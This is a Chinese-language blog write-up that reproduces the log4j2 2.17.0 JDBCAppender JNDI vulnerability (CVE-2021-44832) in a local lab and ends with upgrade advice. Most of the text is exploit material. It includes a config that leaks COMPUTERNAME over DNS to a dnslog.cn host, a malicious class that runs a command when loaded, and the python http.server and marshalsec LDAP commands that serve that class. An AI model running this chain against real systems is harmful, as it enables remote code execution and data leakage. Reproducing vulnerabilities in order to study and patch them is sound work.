前期log4j2
存在的远程代码执行漏洞(CVE-2021-44228)
引起了轩然大波。昨天上网冲浪发现,checkmark
研究员YANIV NIZRY
公布了新版本log4j2 2.17.0
中存在基于JDBCAPPENDER
配置文件的任意命令执行。且该漏洞已经公布其CVE
编号为CVE-2021-44832
。
漏洞描述
log4j2
在进行JDBC
反序列化之前,可以通过JNDI
动态远程获取数据库源文件。官方配置文档的格式如下:
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8"?> <Configuration status="error"> <Appenders> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" /> <Column ... </JDBC> </Appenders> … </Configuration>
|
这里可以尝试控制任意LDAP
的URL
,而达成对应的利用。
1
| <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>
|
本地复现
本地获取2.17.0
版本log4j2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>log4j-rce</artifactId>n <version>1.0-SNAPSHOT</version>
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.17.0</version> </dependency>
</dependencies>
</project>
|
这里直接借助CVE-2021-44228 poc
来进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.util.*; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Log4j2 {
public static void main(String[] args) { System.setProperty("log4j2.configurationFile","http://192.168.1.81:8000/config.xml"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); final Logger logger = LogManager.getLogger(Log4j2.class);
Scanner sc = new Scanner(System.in); String str; while(true) { str = sc.nextLine(); logger.error(str); } } }
|
本地提供一个config.xml
的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version="1.0" encoding="UTF-8"?> <Configuration status="error"> <Appenders> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="dns://${env:COMPUTERNAME}.mya9m5.dnslog.cn/exp" /> <Column name="eventDate" isEventTimestamp="true" /> <Column name="level" pattern="%level" /> <Column name="logger" pattern="%logger" /> <Column name="message" pattern="%message" /> <Column name="exception" pattern="%ex{full}" /> </JDBC> </Appenders> <Loggers> <Root level="warn"> <AppenderRef ref="databaseAppender"/> </Root> </Loggers> </Configuration>
|
运行后接收请求:

漏洞利用
编写一个exp
攻击,发起弹出计算机的命令,并且本地编译成恶意class
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.org.apache.xpath.internal.objects.XString;
public class exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"Calc"}; Process pc = rt.exec(commands); System.out.println("正在执行命令"); pc.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }
|
恶意exp类文件目录下开启简易http服务
1
| python3 -m http.server 8001
|

恶意config.xml文件目录下开启简易http服务

使用marshalsec
启动恶意ldap
服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.81:8001/#exp" 7788
|

修改config.xml
文件DataSource
为
1
| <DataSource jndiName="ldap://192.168.1.81:7788/exp" />
|
运行Log4j2.java
触发恶意代码执行:

漏洞分析
该漏洞利用之处比较鸡肋,你需要能够拥有修改本地config
文件的权限才能达成对应的利用,因此其影响面相对较窄。但是出于安全考虑,还是建议将其更新至最新版本.
漏洞修复
https://logging.apache.org/log4j/2.x/security.html
将 Apache Log4j2
升级到 2.17.1、2.12.4 和 2.3.2 或更高版本。
参考连接